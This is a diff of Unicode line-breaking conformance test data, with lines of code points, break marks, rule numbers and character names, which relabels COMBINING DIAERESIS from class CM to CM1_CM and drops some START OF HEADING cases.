× 1160 × 0020 ÷ 3041 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 1160 × 0308 × 3041 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 1160 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 1160 × 0308 × 3041 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 1160 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 000A ÷ 0023 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] NUMBER SIGN (AL) ÷ [0.3]
× 000A ÷ 0020 ÷ 0023 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× 000A ÷ 0308 × 0023 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [28.0] NUMBER SIGN (AL) ÷ [0.3]
-× 000A ÷ 0308 × 0020 ÷ 0023 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 000A ÷ 0308 × 0023 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [28.0] NUMBER SIGN (AL) ÷ [0.3]
+× 000A ÷ 0308 × 0020 ÷ 0023 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× 000A ÷ 2014 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] EM DASH (B2) ÷ [0.3]
× 000A ÷ 0020 ÷ 2014 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× 000A ÷ 0308 ÷ 2014 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
-× 000A ÷ 0308 × 0020 ÷ 2014 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 000A ÷ 0308 ÷ 2014 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 000A ÷ 0308 × 0020 ÷ 2014 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× 000A ÷ 0009 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 000A ÷ 0020 ÷ 0009 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 000A ÷ 0308 × 0009 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 000A ÷ 0308 × 0020 ÷ 0009 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 000A ÷ 0308 × 0009 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 000A ÷ 0308 × 0020 ÷ 0009 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 000A ÷ 00B4 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] ACUTE ACCENT (BB) ÷ [0.3]
× 000A ÷ 0020 ÷ 00B4 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 000A ÷ 0308 ÷ 00B4 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 000A ÷ 0308 × 0020 ÷ 00B4 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 000A ÷ 0308 ÷ 00B4 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 000A ÷ 0308 × 0020 ÷ 00B4 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× 000A ÷ 000B ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] <LINE TABULATION> (BK) ÷ [0.3]
× 000A ÷ 0020 × 000B ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 000A ÷ 0308 × 000B ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 000A ÷ 0308 × 0020 × 000B ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 000A ÷ 0308 × 000B ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 000A ÷ 0308 × 0020 × 000B ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 000A ÷ FFFC ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 000A ÷ 0020 ÷ FFFC ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 000A ÷ 0308 ÷ FFFC ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 000A ÷ 0308 × 0020 ÷ FFFC ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 000A ÷ 0308 ÷ FFFC ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 000A ÷ 0308 × 0020 ÷ FFFC ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 000A ÷ 007D ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 000A ÷ 0020 × 007D ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 000A ÷ 0308 × 007D ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 000A ÷ 0308 × 0020 × 007D ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 000A ÷ 0308 × 007D ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 000A ÷ 0308 × 0020 × 007D ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 000A ÷ 0029 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 000A ÷ 0020 × 0029 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 000A ÷ 0308 × 0029 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 000A ÷ 0308 × 0020 × 0029 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 000A ÷ 0001 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] <START OF HEADING> (CM) ÷ [0.3]
-× 000A ÷ 0020 ÷ 0001 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× 000A ÷ 0308 × 0001 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 000A ÷ 0308 × 0020 ÷ 0001 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× 000A ÷ 0308 × 0029 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 000A ÷ 0308 × 0020 × 0029 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 000A ÷ 000D ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 000A ÷ 0020 × 000D ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 000A ÷ 0308 × 000D ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 000A ÷ 0308 × 0020 × 000D ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 000A ÷ 0308 × 000D ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 000A ÷ 0308 × 0020 × 000D ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 000A ÷ 0021 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] EXCLAMATION MARK (EX) ÷ [0.3]
× 000A ÷ 0020 × 0021 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 000A ÷ 0308 × 0021 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 000A ÷ 0308 × 0020 × 0021 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 000A ÷ 0308 × 0021 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 000A ÷ 0308 × 0020 × 0021 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 000A ÷ 00A0 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] NO-BREAK SPACE (GL) ÷ [0.3]
× 000A ÷ 0020 ÷ 00A0 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 000A ÷ 0308 × 00A0 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
-× 000A ÷ 0308 × 0020 ÷ 00A0 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 000A ÷ 0308 × 00A0 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× 000A ÷ 0308 × 0020 ÷ 00A0 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 000A ÷ AC00 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 000A ÷ 0020 ÷ AC00 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 000A ÷ 0308 ÷ AC00 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 000A ÷ 0308 × 0020 ÷ AC00 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 000A ÷ 0308 ÷ AC00 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 000A ÷ 0308 × 0020 ÷ AC00 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 000A ÷ AC01 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 000A ÷ 0020 ÷ AC01 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 000A ÷ 0308 ÷ AC01 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 000A ÷ 0308 × 0020 ÷ AC01 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 000A ÷ 0308 ÷ AC01 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 000A ÷ 0308 × 0020 ÷ AC01 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 000A ÷ 05D0 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 000A ÷ 0020 ÷ 05D0 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 000A ÷ 0308 × 05D0 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [28.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 000A ÷ 0308 × 0020 ÷ 05D0 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 000A ÷ 0308 × 05D0 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [28.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 000A ÷ 0308 × 0020 ÷ 05D0 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 000A ÷ 002D ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] HYPHEN-MINUS (HY) ÷ [0.3]
× 000A ÷ 0020 ÷ 002D ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 000A ÷ 0308 × 002D ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× 000A ÷ 0308 × 0020 ÷ 002D ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 000A ÷ 0308 × 002D ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 000A ÷ 0308 × 0020 ÷ 002D ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 000A ÷ 231A ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] WATCH (ID) ÷ [0.3]
× 000A ÷ 0020 ÷ 231A ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× 000A ÷ 0308 ÷ 231A ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
-× 000A ÷ 0308 × 0020 ÷ 231A ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 000A ÷ 0308 ÷ 231A ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 000A ÷ 0308 × 0020 ÷ 231A ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× 000A ÷ 2024 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] ONE DOT LEADER (IN) ÷ [0.3]
× 000A ÷ 0020 ÷ 2024 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 000A ÷ 0308 × 2024 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [22.01] ONE DOT LEADER (IN) ÷ [0.3]
-× 000A ÷ 0308 × 0020 ÷ 2024 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 000A ÷ 0308 × 2024 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [22.01] ONE DOT LEADER (IN) ÷ [0.3]
+× 000A ÷ 0308 × 0020 ÷ 2024 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× 000A ÷ 002C ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMMA (IS) ÷ [0.3]
× 000A ÷ 0020 × 002C ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 000A ÷ 0308 × 002C ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [13.03] COMMA (IS) ÷ [0.3]
-× 000A ÷ 0308 × 0020 × 002C ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 000A ÷ 0308 × 002C ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× 000A ÷ 0308 × 0020 × 002C ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 000A ÷ 1100 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 000A ÷ 0020 ÷ 1100 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 000A ÷ 0308 ÷ 1100 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 000A ÷ 0308 × 0020 ÷ 1100 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 000A ÷ 0308 ÷ 1100 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 000A ÷ 0308 × 0020 ÷ 1100 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 000A ÷ 11A8 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 000A ÷ 0020 ÷ 11A8 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 000A ÷ 0308 ÷ 11A8 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 000A ÷ 0308 × 0020 ÷ 11A8 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 000A ÷ 0308 ÷ 11A8 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 000A ÷ 0308 × 0020 ÷ 11A8 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 000A ÷ 1160 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 000A ÷ 0020 ÷ 1160 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 000A ÷ 0308 ÷ 1160 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 000A ÷ 0308 × 0020 ÷ 1160 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 000A ÷ 0308 ÷ 1160 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 000A ÷ 0308 × 0020 ÷ 1160 ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 000A ÷ 000A ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] <LINE FEED (LF)> (LF) ÷ [0.3]
× 000A ÷ 0020 × 000A ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 000A ÷ 0308 × 000A ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 000A ÷ 0308 × 0020 × 000A ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 000A ÷ 0308 × 000A ÷ # × [0.3] <LINE FEED (LF)> (LF) ÷ [5.03] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
